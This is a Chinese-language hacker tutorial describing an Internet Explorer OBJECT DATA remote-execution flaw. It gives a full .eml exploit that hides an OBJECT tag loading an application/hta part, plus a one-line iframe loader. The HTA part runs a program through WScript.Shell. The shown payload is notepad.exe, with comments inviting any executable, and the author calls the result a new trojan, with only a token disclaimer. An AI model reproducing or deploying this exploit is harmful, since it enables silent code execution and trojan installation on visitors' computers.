声明:因为本文所讲方法破坏性极大,可以和错误MIME漏洞及com.ms.activeX.ActiveXComponent漏洞相媲美,因此请不要利用本文所讲内容用于破坏!否则后果自负!
网友braveboy3来信问我一些问题,信中提到Internet EXPlorer Object数据远程执行漏洞,我急忙驱猫上网查看,从绿盟科技上找到了漏洞资料,同时请braveboy3给了一个测试该漏洞的网页。
下面我结合自己的测试简单介绍一下这个漏洞:
由于IE处理对象标记OBJECT的DATA标签时没有正确处理要被装载的文件参数,当"OBJECT"标记中用于设置对象的MIME类型的"Type"属性不为空时,IE会根据标记中的"Type"值装载文件,此时若控件不安全则IE会提示是否执行,测试代码如下:
<object data="icyfox.hta" Type="application/hta"> </object>
但当"Type"属性为空时,IE会根据服务器返回的HTTP头中的Content-Type来处理数据,此时却没有充分检查被装载的文件属性,也就是说如果服务器返回的HTTP头中的Content-Type是application/hta等,那么脚本就会绕过安全区域限制而能够执行。(见网友braveboy3提供的测试网页:http://202.113.125.60/pic/test/test.Html)
看到上面的介绍相信大家一定会想到通过更改服务器的MIME映射为:扩展名.hta对应application/hta来利用此漏洞,;而熟悉ASP编程的朋友可能会想到通过用“<%response.ContentType="application/hta"%>”这条语句来设置MIME类型而利用该漏洞(也可用其他的动态网页语言如:PHP等)。事实上网上此漏洞的利用方法也多为上面两种方法。可是大多数网友并没有自己的服务器,而且现在的免费空间却鲜有支持ASP或其他动态网页语言的,所以此漏洞利用起来有点困难(老鸟例外,有肉鸡呀!呵呵....)
怎么办?难道我们只有眼睁睁的看着漏洞从眼皮底下走过?NO!那不是“黑客”行为!
大家对错误MIME漏洞耳熟能详了吧?它的利用借助了eml格式的文件。大家一定还记得“Content-Type: audio/x-wav;”这句代码吧?它就是用于设置MIME类型的!是不是想到了点什么?对把它改成“Content-Type: application/hta;”;可怎样设置OBJECT的DATA标签的URL地址呢?看MIME漏洞利用中的这句“<iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe>”,其中src不就是一个URL地址吗?好啦,都解决拉,下面就让我们开始打造一个新的木马文件吧!
下面就是我改好的eml文件源代码:
MIME-Version: 1.0 /*MIME-多用途的网际邮件扩充协议的版本*/
Content-Type: multipart/related; /*内容类型*/
type="multipart/alternative";
boundary="1" /*分界线*/
--1
Content-Type: multipart/alternative;
boundary="2"
--2
Content-Type: text/html;
charset="gb2312"
Content-Transfer-Encoding: quoted-printable
<HTML>
<HEAD>
<TITLE>
IE Object Data 数据远程执行漏洞测试
</TITLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<CENTER>
如果自动打开记事本程序,则说明测试成功!
<object style=3D"display:none" data=3Dcid:THE-CID height=3D0 width=3D0>
</object>
</CENTER>
</BODY>
</HTML>
--2--
--1
Content-Type: application/hta;
Content-Transfer-Encoding: 7bit
Content-ID: <THE-CID>
<html>
<HTA:APPLICATION caption="no" border="none" windowState="minimize" visiable="no">
<body>
说明:可以自己加入其他代码或控件
<object id=wsh classid=clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B></object>
<script language=javascript>
wsh.Run("notepad.exe");//打开记事本程序,可改为自己要执行的程序
window.close();//关闭hta文件
</script>
</body>
</html>
--1--
测试代码说明:把上面的代码保存为test.eml,另外再建一个test.htm文件,内容如下:
<IFRAME SRC="test.eml"></IFRAME>
打开test.htm文件就可以看到结果!
/*和*/之间的内容是注释可去掉,可以参照《黑客防线》第九期“无坚不摧的杀手锏--利用Windows帮助文件漏洞运行木马”一文,在不使用com.ms.activeX.ActiveXComponent漏洞(此漏洞早已出现,可能多数已打补丁)情况下,下载执行木马程序。
(出处:http://www.sheup.com)